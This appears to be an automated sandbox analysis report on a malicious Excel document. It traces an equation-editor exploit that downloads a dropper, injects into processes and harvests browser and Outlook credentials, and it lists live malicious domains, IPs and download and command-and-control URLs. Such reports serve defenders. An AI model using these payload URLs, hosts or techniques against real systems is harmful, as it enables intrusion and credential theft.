Source: XAgFxCrXhYKjE.exe, 00000007.00000000.520865647.0000000000A80000.00000002.00000001.00040000.00000000.sdmp, XAgFxCrXhYKjE.exe, 00000007.00000002.671047825.0000000000A80000.00000002.00000001.00040000.00000000.sdmp, XAgFxCrXhYKjE.exe, 0000000A.00000002.670948915.00000000008F0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Program Manager
Source: word.exe, XAgFxCrXhYKjE.exe, 00000007.00000000.520865647.0000000000A80000.00000002.00000001.00040000.00000000.sdmp, XAgFxCrXhYKjE.exe, 00000007.00000002.671047825.0000000000A80000.00000002.00000001.00040000.00000000.sdmp, XAgFxCrXhYKjE.exe, 0000000A.00000002.670948915.00000000008F0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: word.exe, 00000005.00000002.466253928.0000000000482000.00000002.00000001.01000000.00000004.sdmp, word.exe, 00000005.00000000.461005093.0000000000482000.00000002.00000001.01000000.00000004.sdmp, word.exe.2.dr, kontempt2.1[1].exe.2.dr Binary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
Source: XAgFxCrXhYKjE.exe, 00000007.00000000.520865647.0000000000A80000.00000002.00000001.00040000.00000000.sdmp, XAgFxCrXhYKjE.exe, 00000007.00000002.671047825.0000000000A80000.00000002.00000001.00040000.00000000.sdmp, XAgFxCrXhYKjE.exe, 0000000A.00000002.670948915.00000000008F0000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: !Progman
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_00410D10 cpuid 5_2_00410D10
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\SysWOW64\msinfo32.exe Queries volume information: C:\Users\user\AppData\Local\Temp\jvetpvrp.zip VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Queries volume information: C:\Users\user\AppData\Local\Temp\jvetpvrp.zip VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Queries volume information: C:\Users\user\AppData\Local\Temp\jvetpvrp.zip VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Queries volume information: C:\Users\user\AppData\Local\Temp\jvetpvrp.zip VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Queries volume information: C:\Users\user\AppData\Local\Temp\jvetpvrp.zip VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Queries volume information: C:\Users\user\AppData\Local\Temp\jvetpvrp.zip VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Queries volume information: C:\Users\user\AppData\Local\Temp\jvetpvrp.zip VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Queries volume information: C:\Users\user\AppData\Local\Temp\jvetpvrp.zip VolumeInformation Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_004223BC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter, 5_2_004223BC
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_004711D2 GetUserNameW, 5_2_004711D2
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0042039F __invoke_watson,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,____lc_codepage_func,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,__invoke_watson,__invoke_watson, 5_2_0042039F
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo, 5_2_0040E470
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\SysWOW64\msinfo32.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Windows\SysWOW64\msinfo32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\06cf47254c38794586c61cc24a734503 Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\0a0d020000000000c000000000000046 Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\13dbb0c8aa05101a9bb000aa002fc45a Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\205c3a58330443458dd2ac448e6ca789 Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\2b8b37090290ba4f959e518e299cb5b1 Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\3743a3c1c7e1f64e8f29008dfcb85743 Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\53408158a6e73f408d707c6c9897ca11 Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\5d87f524a0d3e441a43ef4f9aa2c1e35 Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\78c2c8d3c60b8e4dbd322a28757b4add Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\8503020000000000c000000000000046 Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9207f3e0a3b11019908b08002b2a56c2 Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001 Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002 Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003 Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\b17a5dedc883424088e68fc9f8f9ce35 Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\ddb0922fc50b8d42be5a821ede840761 Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f6b27b1a9688564abf9b7e1bd5ef7ca7 Jump to behavior
Source: C:\Windows\SysWOW64\msinfo32.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\f86ed2903a4a11cfb57e524153480001 Jump to behavior
OS version to string mapping found (often used in BOTs)
Source: kontempt2.1[1].exe.2.dr Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 6, 0USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:cdeclwinapistdcallnonestrwstrintbooluintlongulongdwordshortushortwordbyteubytebooleanfloatdoubleptrhwndhandlelresultlparamwparamint64uint64int_ptruint_ptrlong_ptrulong_ptrdword_ptridispatch64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----
Source: word.exe Binary or memory string: WIN_XP
Source: word.exe Binary or memory string: WIN_XPe
Source: word.exe Binary or memory string: WIN_VISTA
Source: word.exe Binary or memory string: WIN_7
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_004741BB socket,WSAGetLastError,bind,WSAGetLastError,closesocket, 5_2_004741BB
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0046483C socket,WSAGetLastError,bind,WSAGetLastError,listen,WSAGetLastError,closesocket, 5_2_0046483C
Source: C:\Users\user\AppData\Roaming\word.exe Code function: 5_2_0047AD92 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject, 5_2_0047AD92
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E0B34D sqlite3_clear_bindings,sqlite3_mutex_enter,sqlite3_mutex_leave, 8_2_61E0B34D
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E2D5B6 sqlite3_bind_double,sqlite3_mutex_leave, 8_2_61E2D5B6
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E9553A sqlite3_step,sqlite3_bind_int,sqlite3_malloc,memcmp,sqlite3_finalize,sqlite3_free,sqlite3_prepare_v2,sqlite3_free,sqlite3_free,sqlite3_step,sqlite3_reset,sqlite3_reset,sqlite3_stricmp,sqlite3_malloc,sqlite3_step,sqlite3_reset, 8_2_61E9553A
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E037E6 sqlite3_bind_parameter_name, 8_2_61E037E6
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E037D4 sqlite3_bind_parameter_count, 8_2_61E037D4
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E2D76E sqlite3_bind_zeroblob64,sqlite3_mutex_enter,sqlite3_bind_zeroblob,sqlite3_mutex_leave, 8_2_61E2D76E
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E2D72A sqlite3_bind_zeroblob,sqlite3_mutex_leave, 8_2_61E2D72A
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E1572D sqlite3_bind_parameter_index, 8_2_61E1572D
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E036FA sqlite3_value_frombind, 8_2_61E036FA
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E2D6AD sqlite3_bind_pointer,sqlite3_mutex_leave, 8_2_61E2D6AD
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E2D67C sqlite3_bind_null,sqlite3_mutex_leave, 8_2_61E2D67C
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E2D656 sqlite3_bind_int,sqlite3_bind_int64, 8_2_61E2D656
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E2D607 sqlite3_bind_int64,sqlite3_mutex_leave, 8_2_61E2D607
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E2D99D sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_blob, 8_2_61E2D99D
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E2D96E sqlite3_bind_text16, 8_2_61E2D96E
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E2D932 sqlite3_bind_text64, 8_2_61E2D932
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E2D903 sqlite3_bind_text, 8_2_61E2D903
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E2D8D4 sqlite3_bind_blob64, 8_2_61E2D8D4
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E2D8A5 sqlite3_bind_blob, 8_2_61E2D8A5
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E95B00 sqlite3_exec,sqlite3_bind_int,sqlite3_step,sqlite3_reset,sqlite3_exec, 8_2_61E95B00
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E2DA9D sqlite3_bind_value, 8_2_61E2DA9D
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 8_2_61E12EEA sqlite3_mutex_enter,sqlite3_mutex_leave,sqlite3_transfer_bindings, 8_2_61E12EEA
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1538472 Sample: IND24072113_1.xlsx Startdate: 21/10/2024 Architecture: WINDOWS Score: 100 63 Malicious sample detected (through community Yara rule) 2->63 65 Antivirus / Scanner detection for submitted sample 2->65 67 Multi AV Scanner detection for dropped file 2->67 69 13 other signatures 2->69 11 EXCEL.EXE 7 10 2->11         started        process3 file4 39 C:\Users\user\Desktop\~$IND24072113_1.xlsx, data 11->39 dropped 14 EQNEDT32.EXE 12 11->14         started        process5 dnsIp6 55 timurtrading.my 192.3.255.145, 443, 49161, 49162 AS-COLOCROSSINGUS United States 14->55 43 C:\Users\user\AppData\Roaming\word.exe, PE32 14->43 dropped 45 C:\Users\user\AppData\...\kontempt2.1[1].exe, PE32 14->45 dropped 57 Installs new ROOT certificates 14->57 59 Office equation editor establishes network connection 14->59 61 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 14->61 19 word.exe 1 14->19         started        file7 signatures8 process9 signatures10 75 Multi AV Scanner detection for dropped file 19->75 77 Machine Learning detection for dropped file 19->77 79 Writes to foreign memory regions 19->79 81 3 other signatures 19->81 22 svchost.exe 19->22         started        process11 signatures12 83 Maps a DLL or memory area into another process 22->83 25 XAgFxCrXhYKjE.exe 22->25 injected process13 signatures14 85 Maps a DLL or memory area into another process 25->85 87 Found direct / indirect Syscall (likely to bypass EDR) 25->87 28 msinfo32.exe 1 20 25->28         started        process15 dnsIp16 53 www.sqlite.org 45.33.6.223, 49164, 80 LINODE-APLinodeLLCUS United States 28->53 41 C:\Users\user\AppData\Local\...\sqlite3.dll, PE32 28->41 dropped 89 Tries to steal Mail credentials (via file / registry access) 28->89 91 Tries to harvest and steal browser information (history, passwords, etc) 28->91 93 Maps a DLL or memory area into another process 28->93 95 Queues an APC in another process (thread injection) 28->95 33 XAgFxCrXhYKjE.exe 28->33 injected 37 firefox.exe 28->37         started        file17 signatures18 process19 dnsIp20 47 www.myprefpal.xyz 33->47 49 jilifish.win 15.197.148.33, 49169, 49170, 49171 TANDEMUS United States 33->49 51 4 other IPs or domains 33->51 71 Found direct / indirect Syscall (likely to bypass EDR) 33->71 signatures21 73 Performs DNS queries to domains with low reputation 47->73
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
15.197.148.33
 myprefpal.xyz United States
7430 TANDEMUS true
45.33.6.223
 www.sqlite.org United States
63949 LINODE-APLinodeLLCUS false
167.172.133.32
 www.omnibizlux.biz United States
14061 DIGITALOCEAN-ASNUS false
192.3.255.145
 timurtrading.my United States
36352 AS-COLOCROSSINGUS true
185.196.10.234
 www.75e296qdx.top Switzerland
42624 SIMPLECARRIERCH false

Contacted Domains

Name IP Active
www.75e296qdx.top 185.196.10.234 true
myprefpal.xyz 15.197.148.33 true
timurtrading.my 192.3.255.145 true
www.sqlite.org 45.33.6.223 true
www.omnibizlux.biz 167.172.133.32 true
jilifish.win 15.197.148.33 true
www.myprefpal.xyz unknown unknown
www.jilifish.win unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://timurtrading.my/kontempt2.1.exe true
    		unknown
    http://www.omnibizlux.biz/8pmv/?eDZh=0pI0vDB&IDX46=o+HDgodiamRQHtDMpIt6QXV1yFQyIuHAMV1gOVYcjWmvuGh+h7IrtYfSQO/kpwxsxn8zwcxo4M/m/nbjbIRZpxhbjjpUXySeQkriE3Dek1xl8vaSGOlLDW237/Ca false
      		unknown
      http://www.75e296qdx.top/quvp/?IDX46=ZW1g+h73VjV8NmrD3A0IsvQAl9tCTvv5s7OxxnbN69qnRFmJveufixywo3eCJN9Bi9pNL2fgeIfBDTgJwEUErU/4IwV0Yt2V4k+CbVZpThcE8pzI6qgsTHE3GSfU&eDZh=0pI0vDB false
        		unknown
        http://www.sqlite.org/2022/sqlite-dll-win32-x86-3380000.zip false
          		unknown
          http://www.myprefpal.xyz/2xrt/?IDX46=t8QlsLf/hSao5OfTjGXyvO3SE3egRcZN/0WYGutq4Zw3gZ9pwtfqpd7Txie7AUKWMV3AhFtCGrZ0PcR2NtL0Erm7E7qQmCH1czZzhi0sD+dlnO4gaz+HrJe+v97h&eDZh=0pI0vDB false
            		unknown
            http://www.jilifish.win/to3j/ false
              		unknown
              http://www.75e296qdx.top/quvp/ false
                		unknown
                http://timurtrading.my/kontempt2.1.exe true
                  		unknown
                  http://www.myprefpal.xyz/2xrt/ false
                    		unknown